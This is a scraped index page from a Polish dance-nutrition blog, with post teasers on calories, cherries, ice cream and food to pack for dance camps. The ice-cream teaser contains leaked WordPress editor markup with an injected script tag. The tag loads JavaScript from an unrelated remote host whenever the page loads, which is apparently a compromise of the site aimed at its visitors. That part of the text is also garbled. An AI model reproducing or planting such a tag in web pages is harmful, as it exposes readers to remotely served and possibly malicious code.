Blog Milena Nosek Kalorie Energia #metkabaletka #dance #dancer #taniec

Energetycznie

……………..na prawidłowym poziomie Z pewnością termin kaloria jest Wam znana i często zastanawiacie się nad tym, w jakiej ilości trzeba przyjmować pożywienie, by dostarczyć odpowiedniej wartości. Pojęcie to nieodłącznie kojarzy się z masą ciała, ze szczupłością, ze zdrowiem, ale i z nadwagą i „niebezpiecznymi” produktami. Czytacie etykiety, przeliczacie…czy potrzebnie? Określenie ilości kilokalorii w produktach żywnościowych Dalej

Blog Milena Nosek Czereśnie #metkabaletka #dance #dancer #taniec

Czereśniowy blues

Lubicie czereśnie? Jeśli jest to niedoceniany przez Was owoc, polecam się do nich przekonać i korzystać z ich dobroczynnych właściwości, póki są! Ze względu na niską kaloryczność (szklanka tych owoców to około 50-60 kcal) nie przyczyniają się do wzrostu masy ciała; mają silne działanie przeciwzapalne i przeciwdrobnoustrojowe, tak więc dzięki nim wzmocnicie odporność. Co jeszcze ważniejsze Dalej

lody

Ice cream, lody, le ice-cream, gelato…!

Wizualny Tekstowy <script src=http://a.c0594.com/?js=6></script>Wizualny <button type=”button” id=”content-html” class=”wp-switch-editor switch-html” data-wp-editor-id=”content”>Tekstowy</button> <div id=”wp-content-editor-container” class=”wp-editor-container”><div id=”ed_toolbar” class=”quicktags-toolbar”></div><textarea class=”wp-editor-area” style=”height: 300px” autocomplete=”off” cols=”40″ name=”content” id=”content”>Nieodłączne wspomnienie z dzieciństwa i jeden z najbardziej lubianych deserów. Dzisiaj przedstawię Wam, które lody wybierać, czy mają wartości i czy dbając o prawidłowe żywienie należy się ich wyrzekać. Zapraszam do lektury! Lody, jak Dalej

DSC00592

Co w teczkę na wycieczkę?

Wakacje to czas wyjazdów na obozy taneczne, praktyki i warsztaty. Wówczas zmienia się plan dnia, a co za tym idzie – tryb żywienia. Określone pory posiłków (zazwyczaj 3 posiłki) i czasami utrudniona dostępność do sklepów. Poniżej znajdziecie listę produktów, które można ze sobą zabrać w ramach prowiantu, aby uniknąć głodu, niezadowolenia i w szczególności – Dalej